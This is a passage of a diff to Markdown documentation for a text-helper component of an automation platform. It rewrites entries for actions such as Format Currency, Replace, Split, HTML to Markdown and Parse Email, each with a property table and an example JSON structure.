+| currency | Currency | STRING <details> <summary> Options </summary> <span>ADP</span>, <span>AED</span>, <span>AFA</span>, <span>AFN</span>, <span>ALL</span>, <span>AMD</span>, <span>ANG</span>, <span>AOA</span>, <span>ARS</span>, <span>ATS</span>, <span>AUD</span>, <span>AWG</span>, <span>AYM</span>, <span>AZM</span>, <span>AZN</span>, <span>BAM</span>, <span>BBD</span>, <span>BDT</span>, <span>BEF</span>, <span>BGL</span>, <span>BGN</span>, <span>BHD</span>, <span>BIF</span>, <span>BMD</span>, <span>BND</span>, <span>BOB</span>, <span>BOV</span>, <span>BRL</span>, <span>BSD</span>, <span>BTN</span>, <span>BWP</span>, <span>BYB</span>, <span>BYN</span>, <span>BYR</span>, <span>BZD</span>, <span>CAD</span>, <span>CDF</span>, <span>CHE</span>, <span>CHF</span>, <span>CHW</span>, <span>CLF</span>, <span>CLP</span>, <span>CNY</span>, <span>COP</span>, <span>COU</span>, <span>CRC</span>, <span>CSD</span>, <span>CUC</span>, <span>CUP</span>, <span>CVE</span>, <span>CYP</span>, <span>CZK</span>, <span>DEM</span>, <span>DJF</span>, <span>DKK</span>, <span>DOP</span>, <span>DZD</span>, <span>EEK</span>, <span>EGP</span>, <span>ERN</span>, <span>ESP</span>, <span>ETB</span>, <span>EUR</span>, <span>FIM</span>, <span>FJD</span>, <span>FKP</span>, <span>FRF</span>, <span>GBP</span>, <span>GEL</span>, <span>GHC</span>, <span>GHS</span>, <span>GIP</span>, <span>GMD</span>, <span>GNF</span>, <span>GRD</span>, <span>GTQ</span>, <span>GWP</span>, <span>GYD</span>, <span>HKD</span>, <span>HNL</span>, <span>HRK</span>, <span>HTG</span>, <span>HUF</span>, <span>IDR</span>, <span>IEP</span>, <span>ILS</span>, <span>INR</span>, <span>IQD</span>, <span>IRR</span>, <span>ISK</span>, <span>ITL</span>, <span>JMD</span>, <span>JOD</span>, <span>JPY</span>, <span>KES</span>, <span>KGS</span>, <span>KHR</span>, <span>KMF</span>, <span>KPW</span>, <span>KRW</span>, <span>KWD</span>, <span>KYD</span>, <span>KZT</span>, <span>LAK</span>, <span>LBP</span>, <span>LKR</span>, <span>LRD</span>, <span>LSL</span>, <span>LTL</span>, <span>LUF</span>, <span>LVL</span>, <span>LYD</span>, <span>MAD</span>, <span>MDL</span>, <span>MGA</span>, <span>MGF</span>, <span>MKD</span>, <span>MMK</span>, <span>MNT</span>, <span>MOP</span>, <span>MRO</span>, <span>MRU</span>, <span>MTL</span>, <span>MUR</span>, <span>MVR</span>, <span>MWK</span>, <span>MXN</span>, <span>MXV</span>, <span>MYR</span>, <span>MZM</span>, <span>MZN</span>, <span>NAD</span>, <span>NGN</span>, <span>NIO</span>, <span>NLG</span>, <span>NOK</span>, <span>NPR</span>, <span>NZD</span>, <span>OMR</span>, <span>PAB</span>, <span>PEN</span>, <span>PGK</span>, <span>PHP</span>, <span>PKR</span>, <span>PLN</span>, <span>PTE</span>, <span>PYG</span>, <span>QAR</span>, <span>ROL</span>, <span>RON</span>, <span>RSD</span>, <span>RUB</span>, <span>RUR</span>, <span>RWF</span>, <span>SAR</span>, <span>SBD</span>, <span>SCR</span>, <span>SDD</span>, <span>SDG</span>, <span>SEK</span>, <span>SGD</span>, <span>SHP</span>, <span>SIT</span>, <span>SKK</span>, <span>SLE</span>, <span>SLL</span>, <span>SOS</span>, <span>SRD</span>, <span>SRG</span>, <span>SSP</span>, <span>STD</span>, <span>STN</span>, <span>SVC</span>, <span>SYP</span>, <span>SZL</span>, <span>THB</span>, <span>TJS</span>, <span>TMM</span>, <span>TMT</span>, <span>TND</span>, <span>TOP</span>, <span>TPE</span>, <span>TRL</span>, <span>TRY</span>, <span>TTD</span>, <span>TWD</span>, <span>TZS</span>, <span>UAH</span>, <span>UGX</span>, <span>USD</span>, <span>USN</span>, <span>USS</span>, <span>UYI</span>, <span>UYU</span>, <span>UZS</span>, <span>VEB</span>, <span>VED</span>, <span>VEF</span>, <span>VES</span>, <span>VND</span>, <span>VUV</span>, <span>WST</span>, <span>XAD</span>, <span>XAF</span>, <span>XAG</span>, <span>XAU</span>, <span>XBA</span>, <span>XBB</span>, <span>XBC</span>, <span>XBD</span>, <span>XCD</span>, <span>XCG</span>, <span>XDR</span>, <span>XFO</span>, <span>XFU</span>, <span>XOF</span>, <span>XPD</span>, <span>XPF</span>, <span>XPT</span>, <span>XSU</span>, <span>XTS</span>, <span>XUA</span>, <span>XXX</span>, <span>YER</span>, <span>YUM</span>, <span>ZAR</span>, <span>ZMK</span>, <span>ZMW</span>, <span>ZWD</span>, <span>ZWG</span>, <span>ZWL</span>, <span>ZWN</span>, <span>ZWR</span> </details> | The type of currency you wish to use. | true |
+| amount | Amount | NUMBER | The amount to be formatted. | true |
+| decimalDigits | Decimal Digits | INTEGER | Digits you would like after your decimal. | true |
+| decimalSeparator | Decimal Separator | STRING | The character you would like to use as a decimal separator. | true |
+| thousandsSeparator | Thousands Separator | STRING | The character you would like to use as a thousands separator. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Extract Content from HTML",
-  "name" : "extractContentFromHtml",
+  "label" : "Format Currency",
+  "name" : "formatCurrency",
   "parameters" : {
-    "content" : "",
-    "querySelector" : "",
-    "returnValue" : "",
-    "attribute" : "",
-    "returnArray" : false
+    "currency" : "",
+    "amount" : 0.0,
+    "decimalDigits" : 1,
+    "decimalSeparator" : "",
+    "thousandsSeparator" : ""
   },
-  "type" : "textHelper/v1/extractContentFromHtml"
+  "type" : "textHelper/v1/formatCurrency"
 }
 ```
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
+
+
+Type: STRING
+
+
 
 
 
 
 
 
-### Extract Key by Regular Expression
-Name: extractKeyRegEx
+### HTML to Markdown
+Name: HTMLToMarkdown
 
-`Extract first string that match a given pattern.`
+`Converts HTML to markdown.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| keyValueObject | Key-Value Object | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | The object on which regular expression will be used on. | true |
-| regularExpression | Regular Expression | STRING | Extract key by regex match. | true |
+| html | HTML Content | STRING | HTML content to be converted to markdown. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Extract Key by Regular Expression",
-  "name" : "extractKeyRegEx",
+  "label" : "HTML to Markdown",
+  "name" : "HTMLToMarkdown",
   "parameters" : {
-    "keyValueObject" : { },
-    "regularExpression" : ""
+    "html" : ""
   },
-  "type" : "textHelper/v1/extractKeyRegEx"
+  "type" : "textHelper/v1/HTMLToMarkdown"
 }
 ```
 
@@ -331,46 +282,35 @@ Name: extractKeyRegEx
 
 
 
-Type: ARRAY
-
-
-Items Type: STRING
-
-
+Type: STRING
 
 
 
 
-#### Output Example
-```json
-[ "" ]
-```
 
 
 
 
-### Extract by Regular Expression
-Name: extractRegEx
+### Lower Case
+Name: lowerCase
 
-`Extract first string that match a given pattern.`
+`Convert a string to lower case.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text on which regular expression will be used on. | true |
-| regularExpression | Regular Expression | STRING | Regular expression that will be used for extracting strings. | true |
+| text | Text | STRING |  | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Extract by Regular Expression",
-  "name" : "extractRegEx",
+  "label" : "Lower Case",
+  "name" : "lowerCase",
   "parameters" : {
-    "text" : "",
-    "regularExpression" : ""
+    "text" : ""
   },
-  "type" : "textHelper/v1/extractRegEx"
+  "type" : "textHelper/v1/lowerCase"
 }
 ```
 
@@ -387,28 +327,26 @@ Type: STRING
 
 
 
+### Markdown to HTML
+Name: markdownToHTML
 
-
-### Extract URLs
-Name: extractUrls
-
-`Extract all of the URLs from a given piece of text, returning them as a list.`
+`Converts markdown to HTML.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text from which to extract URLs. | true |
+| markdown | Markdown content | STRING | Markdown content to convert to HTML. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Extract URLs",
-  "name" : "extractUrls",
+  "label" : "Markdown to HTML",
+  "name" : "markdownToHTML",
   "parameters" : {
-    "text" : ""
+    "markdown" : ""
   },
-  "type" : "textHelper/v1/extractUrls"
+  "type" : "textHelper/v1/markdownToHTML"
 }
 ```
 
@@ -416,52 +354,41 @@ Name: extractUrls
 
 
 
-Type: ARRAY
-
-
-Items Type: STRING
-
-
+Type: STRING
 
 
 
 
-#### Output Example
-```json
-[ "" ]
-```
 
 
 
 
-### Format Currency
-Name: formatCurrency
+### Replace
+Name: replace
 
-`Format currency to the specified denomination.`
+`Replace all instances of any word, character, or phrase in text with another.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| currency | Currency | STRING <details> <summary> Options </summary> <span>ADP</span>, <span>AED</span>, <span>AFA</span>, <span>AFN</span>, <span>ALL</span>, <span>AMD</span>, <span>ANG</span>, <span>AOA</span>, <span>ARS</span>, <span>ATS</span>, <span>AUD</span>, <span>AWG</span>, <span>AYM</span>, <span>AZM</span>, <span>AZN</span>, <span>BAM</span>, <span>BBD</span>, <span>BDT</span>, <span>BEF</span>, <span>BGL</span>, <span>BGN</span>, <span>BHD</span>, <span>BIF</span>, <span>BMD</span>, <span>BND</span>, <span>BOB</span>, <span>BOV</span>, <span>BRL</span>, <span>BSD</span>, <span>BTN</span>, <span>BWP</span>, <span>BYB</span>, <span>BYN</span>, <span>BYR</span>, <span>BZD</span>, <span>CAD</span>, <span>CDF</span>, <span>CHE</span>, <span>CHF</span>, <span>CHW</span>, <span>CLF</span>, <span>CLP</span>, <span>CNY</span>, <span>COP</span>, <span>COU</span>, <span>CRC</span>, <span>CSD</span>, <span>CUC</span>, <span>CUP</span>, <span>CVE</span>, <span>CYP</span>, <span>CZK</span>, <span>DEM</span>, <span>DJF</span>, <span>DKK</span>, <span>DOP</span>, <span>DZD</span>, <span>EEK</span>, <span>EGP</span>, <span>ERN</span>, <span>ESP</span>, <span>ETB</span>, <span>EUR</span>, <span>FIM</span>, <span>FJD</span>, <span>FKP</span>, <span>FRF</span>, <span>GBP</span>, <span>GEL</span>, <span>GHC</span>, <span>GHS</span>, <span>GIP</span>, <span>GMD</span>, <span>GNF</span>, <span>GRD</span>, <span>GTQ</span>, <span>GWP</span>, <span>GYD</span>, <span>HKD</span>, <span>HNL</span>, <span>HRK</span>, <span>HTG</span>, <span>HUF</span>, <span>IDR</span>, <span>IEP</span>, <span>ILS</span>, <span>INR</span>, <span>IQD</span>, <span>IRR</span>, <span>ISK</span>, <span>ITL</span>, <span>JMD</span>, <span>JOD</span>, <span>JPY</span>, <span>KES</span>, <span>KGS</span>, <span>KHR</span>, <span>KMF</span>, <span>KPW</span>, <span>KRW</span>, <span>KWD</span>, <span>KYD</span>, <span>KZT</span>, <span>LAK</span>, <span>LBP</span>, <span>LKR</span>, <span>LRD</span>, <span>LSL</span>, <span>LTL</span>, <span>LUF</span>, <span>LVL</span>, <span>LYD</span>, <span>MAD</span>, <span>MDL</span>, <span>MGA</span>, <span>MGF</span>, <span>MKD</span>, <span>MMK</span>, <span>MNT</span>, <span>MOP</span>, <span>MRO</span>, <span>MRU</span>, <span>MTL</span>, <span>MUR</span>, <span>MVR</span>, <span>MWK</span>, <span>MXN</span>, <span>MXV</span>, <span>MYR</span>, <span>MZM</span>, <span>MZN</span>, <span>NAD</span>, <span>NGN</span>, <span>NIO</span>, <span>NLG</span>, <span>NOK</span>, <span>NPR</span>, <span>NZD</span>, <span>OMR</span>, <span>PAB</span>, <span>PEN</span>, <span>PGK</span>, <span>PHP</span>, <span>PKR</span>, <span>PLN</span>, <span>PTE</span>, <span>PYG</span>, <span>QAR</span>, <span>ROL</span>, <span>RON</span>, <span>RSD</span>, <span>RUB</span>, <span>RUR</span>, <span>RWF</span>, <span>SAR</span>, <span>SBD</span>, <span>SCR</span>, <span>SDD</span>, <span>SDG</span>, <span>SEK</span>, <span>SGD</span>, <span>SHP</span>, <span>SIT</span>, <span>SKK</span>, <span>SLE</span>, <span>SLL</span>, <span>SOS</span>, <span>SRD</span>, <span>SRG</span>, <span>SSP</span>, <span>STD</span>, <span>STN</span>, <span>SVC</span>, <span>SYP</span>, <span>SZL</span>, <span>THB</span>, <span>TJS</span>, <span>TMM</span>, <span>TMT</span>, <span>TND</span>, <span>TOP</span>, <span>TPE</span>, <span>TRL</span>, <span>TRY</span>, <span>TTD</span>, <span>TWD</span>, <span>TZS</span>, <span>UAH</span>, <span>UGX</span>, <span>USD</span>, <span>USN</span>, <span>USS</span>, <span>UYI</span>, <span>UYU</span>, <span>UZS</span>, <span>VEB</span>, <span>VED</span>, <span>VEF</span>, <span>VES</span>, <span>VND</span>, <span>VUV</span>, <span>WST</span>, <span>XAD</span>, <span>XAF</span>, <span>XAG</span>, <span>XAU</span>, <span>XBA</span>, <span>XBB</span>, <span>XBC</span>, <span>XBD</span>, <span>XCD</span>, <span>XCG</span>, <span>XDR</span>, <span>XFO</span>, <span>XFU</span>, <span>XOF</span>, <span>XPD</span>, <span>XPF</span>, <span>XPT</span>, <span>XSU</span>, <span>XTS</span>, <span>XUA</span>, <span>XXX</span>, <span>YER</span>, <span>YUM</span>, <span>ZAR</span>, <span>ZMK</span>, <span>ZMW</span>, <span>ZWD</span>, <span>ZWG</span>, <span>ZWL</span>, <span>ZWN</span>, <span>ZWR</span> </details> | The type of currency you wish to use. | true |
-| amount | Amount | NUMBER | The amount to be formatted. | true |
-| decimalDigits | Decimal Digits | INTEGER | Number of digits that will be visible after the decimal seperator. | true |
-| decimalSeparator | Decimal Separator | STRING | The character you would like to use as a decimal separator. | true |
-| thousandsSeparator | Thousands Separator | STRING | The character you would like to use as a thousands separator. | true |
+| text | Text | STRING |  | true |
+| searchValue | Search Value | STRING | Can be plain text or a regex expression. | true |
+| replaceValue | Replace Value | STRING | Leave blank to remove the search value. | false |
+| replaceOnlyFirst | Replace Only First Match | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> |  | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Format Currency",
-  "name" : "formatCurrency",
+  "label" : "Replace",
+  "name" : "replace",
   "parameters" : {
-    "currency" : "",
-    "amount" : 0.0,
-    "decimalDigits" : 1,
-    "decimalSeparator" : "",
-    "thousandsSeparator" : ""
+    "text" : "",
+    "searchValue" : "",
+    "replaceValue" : "",
+    "replaceOnlyFirst" : false
   },
-  "type" : "textHelper/v1/formatCurrency"
+  "type" : "textHelper/v1/replace"
 }
 ```
 
@@ -478,28 +405,28 @@ Type: STRING
 
 
 
+### Select First N Characters
+Name: selectFirstNCharacters
 
-
-### Get Domain From Email Address
-Name: getDomainFromEmail
-
-`Extracts domain from the given email address.`
+`Select the first N characters from a string.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Email | STRING | The email you want to extract domain from. | true |
+| text | Text | STRING |  | true |
+| numberOfCharacters | Number of Characters | INTEGER | The number of characters to select. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Get Domain From Email Address",
-  "name" : "getDomainFromEmail",
+  "label" : "Select First N Characters",
+  "name" : "selectFirstNCharacters",
   "parameters" : {
-    "text" : ""
+    "text" : "",
+    "numberOfCharacters" : 1
   },
-  "type" : "textHelper/v1/getDomainFromEmail"
+  "type" : "textHelper/v1/selectFirstNCharacters"
 }
 ```
 
@@ -516,28 +443,28 @@ Type: STRING
 
 
 
+### Select Last N Characters
+Name: selectLastNCharacters
 
-
-### Get Domain From URL
-Name: getDomainFromUrl
-
-`Extracts domain from the given URL.`
+`Select the last N characters from a string.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | URL | STRING | The URL you want to extract domain from. | true |
+| text | Text | STRING |  | true |
+| numberOfCharacters | Number of Characters | INTEGER | The number of characters to select. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Get Domain From URL",
-  "name" : "getDomainFromUrl",
+  "label" : "Select Last N Characters",
+  "name" : "selectLastNCharacters",
   "parameters" : {
-    "text" : ""
+    "text" : "",
+    "numberOfCharacters" : 1
   },
-  "type" : "textHelper/v1/getDomainFromUrl"
+  "type" : "textHelper/v1/selectLastNCharacters"
 }
 ```
 
@@ -554,30 +481,28 @@ Type: STRING
 
 
 
+### Split
+Name: split
 
-
-### Get First Middle and Last Name
-Name: getFirstMiddleLastName
-
-`From full name extract first, middle and last name.`
+`Split the text by delimiter.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| fullName | Full Name | STRING | The full name. | true |
-| isFirstNameFirst | Is First Name First? | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Is the first name listed first in the full name? | true |
+| text | Text | STRING |  | true |
+| delimiter | Delimiter | STRING | Delimiter used for splitting the text. | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Get First Middle and Last Name",
-  "name" : "getFirstMiddleLastName",
+  "label" : "Split",
+  "name" : "split",
   "parameters" : {
-    "fullName" : "",
-    "isFirstNameFirst" : false
+    "text" : "",
+    "delimiter" : ""
   },
-  "type" : "textHelper/v1/getFirstMiddleLastName"
+  "type" : "textHelper/v1/split"
 }
 ```
 
@@ -585,56 +510,42 @@ Name: getFirstMiddleLastName
 
 
 
-Type: OBJECT
+Type: ARRAY
 
 
-#### Properties
+Items Type: STRING
+
 
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| firstName | STRING | First name. |
-| middleName | STRING | Middle name |
-| lastName | STRING | Last name |
 
 
 
 
 #### Output Example
 ```json
-{
-  "firstName" : "",
-  "middleName" : "",
-  "lastName" : ""
-}
+[ "" ]
 ```
 
 
+### Trim Whitespace
+Name: trimWhitespace
 
-
-### Get Text After
-Name: getTextAfter
-
-`Given a string and a pattern, this operation will return the substring between where the pattern was found depending on the match number and ending of the string.`
+`Trim whitespace from the beginning and end of a string.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be searched for the pattern. | true |
-| pattern | Pattern | STRING | Pattern after which substring will be extracted. | true |
-| matchNumber | Match Number | INTEGER | Specifies which match to use for extracting the substring when multiple matches exist. | true |
+| text | Text | STRING |  | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Get Text After",
-  "name" : "getTextAfter",
+  "label" : "Trim Whitespace",
+  "name" : "trimWhitespace",
   "parameters" : {
-    "text" : "",
-    "pattern" : "",
-    "matchNumber" : 1
+    "text" : ""
   },
-  "type" : "textHelper/v1/getTextAfter"
+  "type" : "textHelper/v1/trimWhitespace"
 }
 ```
 
@@ -651,32 +562,26 @@ Type: STRING
 
 
 
+### Upper Case
+Name: upperCase
 
-
-### Get Text Before
-Name: getTextBefore
-
-`Given a string and a pattern, this operation will return the substring between where the pattern was found depending on the match number and beginning of the string.`
+`Convert a string to upper case.`
 
 #### Properties
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be searched for the pattern. | true |
-| pattern | Pattern | STRING | Pattern after which substring will be extracted. | true |
-| matchNumber | Match Number | INTEGER | Specifies which match to use for extracting the substring when multiple matches exist. | true |
+| text | Text | STRING |  | true |
 
 #### Example JSON Structure
 ```json
 {
-  "label" : "Get Text Before",
-  "name" : "getTextBefore",
+  "label" : "Upper Case",
+  "name" : "upperCase",
   "parameters" : {
-    "text" : "",
-    "pattern" : "",
-    "matchNumber" : 1
+    "text" : ""
   },
-  "type" : "textHelper/v1/getTextBefore"
+  "type" : "textHelper/v1/upperCase"
 }
 ```
 
@@ -693,1203 +598,10 @@ Type: STRING
 
 
 
+### URL Encode/Decode
+Name: urlEncodeDecode
 
-
-### Get Text Between
-Name: getTextBetween
-
-`Extract text between two patterns.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be searched for the patterns. | true |
-| patternStart | Start Pattern | STRING | Start pattern from where substring will be extracted. | true |
-| patternEnd | End Pattern | STRING | End pattern to where substring will be extracted. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Text Between",
-  "name" : "getTextBetween",
-  "parameters" : {
-    "text" : "",
-    "patternStart" : "",
-    "patternEnd" : ""
-  },
-  "type" : "textHelper/v1/getTextBetween"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Get Text Length
-Name: getTextLength
-
-`Returns length of the given text.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text of which the length will be returned of. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Get Text Length",
-  "name" : "getTextLength",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/getTextLength"
-}
-```
-
-#### Output
-
-
-
-Type: INTEGER
-
-
-
-
-
-
-
-
-
-
-### Hex Encode/Decode
-Name: hexEncodeDecode
-
-`Hex encode/decode a specified string.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be encoded or decoded. | true |
-| operation | Encode or Decode | STRING <details> <summary> Options </summary> <span>ENCODE</span>, <span>DECODE</span> </details> | Select whether to encode or decode the text. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Hex Encode/Decode",
-  "name" : "hexEncodeDecode",
-  "parameters" : {
-    "text" : "",
-    "operation" : ""
-  },
-  "type" : "textHelper/v1/hexEncodeDecode"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### HTML to Markdown
-Name: HtmlToMarkdown
-
-`Converts HTML to markdown.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| html | HTML Content | STRING | HTML content to be converted to markdown. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "HTML to Markdown",
-  "name" : "HtmlToMarkdown",
-  "parameters" : {
-    "html" : ""
-  },
-  "type" : "textHelper/v1/HtmlToMarkdown"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Is Domain?
-Name: isDomain
-
-`Check if a string is a valid domain.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text to be checked as a valid domain name. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is Domain?",
-  "name" : "isDomain",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/isDomain"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Is Email?
-Name: isEmail
-
-`Check if a string is a valid email address.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text to be checked as a valid email address. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is Email?",
-  "name" : "isEmail",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/isEmail"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Is Numeric?
-Name: isNumeric
-
-`Check if a text string is a number.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text that will be checked. Decimal point is a point '.'. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is Numeric?",
-  "name" : "isNumeric",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/isNumeric"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Is URL?
-Name: isUrl
-
-`Check if a string is a valid URL.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The input text that will be checked. | true |
-| allow2slashes | Allow 2 Slashes | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Allows double '/' characters in the path component. | false |
-| noFragment | No Fragment | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Enabling this options disallows any URL fragments. | false |
-| allowAllSchemes | Allow All Schemes | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Allows all validly formatted schemes to pass validation instead of supplying a set of valid schemes. | false |
-| allowLocalUrls | Allow Local URLs | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Allow local URLs, such as https://localhost/ or https://machine/ . | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Is URL?",
-  "name" : "isUrl",
-  "parameters" : {
-    "text" : "",
-    "allow2slashes" : false,
-    "noFragment" : false,
-    "allowAllSchemes" : false,
-    "allowLocalUrls" : false
-  },
-  "type" : "textHelper/v1/isUrl"
-}
-```
-
-#### Output
-
-
-
-Type: BOOLEAN
-
-
-
-
-
-
-
-
-
-
-### Lower Case
-Name: lowerCase
-
-`Convert a string to lower case.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING |  | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Lower Case",
-  "name" : "lowerCase",
-  "parameters" : {
-    "text" : ""
-  },
-  "type" : "textHelper/v1/lowerCase"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Markdown to HTML
-Name: markdownToHtml
-
-`Converts markdown to HTML.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| markdown | Markdown content | STRING | Markdown content to convert to HTML. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Markdown to HTML",
-  "name" : "markdownToHtml",
-  "parameters" : {
-    "markdown" : ""
-  },
-  "type" : "textHelper/v1/markdownToHtml"
-}
-```
-
-#### Output
-
-
-
-Type: STRING
-
-
-
-
-
-
-
-
-
-
-### Match
-Name: match
-
-`Retrieve the result of matching a string against a regular expression.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| text | Text | STRING | The text that will be matched to the regular expression. | true |
-| regularExpression | Regular Expression | STRING | Regular expression that will be used on the text. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Match",
-  "name" : "match",
-  "parameters" : {
-    "text" : "",
-    "regularExpression" : ""
-  },
-  "type" : "textHelper/v1/match"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: STRING
-
-
-
-
-
-
-#### Output Example
-```json
-[ "" ]
-```
-
-
-
-
-### Parse Email
-Name: parseEmail
-
-`Parse email into structured object. For example: "Name <name@domain.com>" into {displayName: 'Name', localPart: 'name', domain: 'domain.com'}.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| email | Email | STRING | The email that will be turned into structured data. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Parse Email",
-  "name" : "parseEmail",
-  "parameters" : {
-    "email" : ""
-  },
-  "type" : "textHelper/v1/parseEmail"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| localPart | STRING | The local part of the email address. |
-| displayName | STRING | The display name of the email address. |
-| domain | STRING | The domain part of the email address. |
-| email | STRING | The full email address. |
-
-
-
-
-#### Output Example
-```json
-{
-  "localPart" : "",
-  "displayName" : "",
-  "domain" : "",
-  "email" : ""
-}
-```
-
-
-
-
-### Parse Email List
-Name: parseEmailList
-
-`Parse emails into structured objects. For example: "Name <name@domain.com>" into {displayName: 'Name', localPart: 'name', domain: 'domain.com'}.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| emails | Emails | ARRAY <details> <summary> Items </summary> [STRING\($email)] </details> | A list of emails that will be turned into structured data. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Parse Email List",
-  "name" : "parseEmailList",
-  "parameters" : {
-    "emails" : [ "" ]
-  },
-  "type" : "textHelper/v1/parseEmailList"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: OBJECT
-
-
-#### Properties
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| localPart | STRING | The local part of the email address. |
-| displayName | STRING | The display name of the email address. |
-| domain | STRING | The domain part of the email address. |
-| email | STRING | The full email address. |
-
-
-
-
-
-#### Output Example
-```json
-[ {
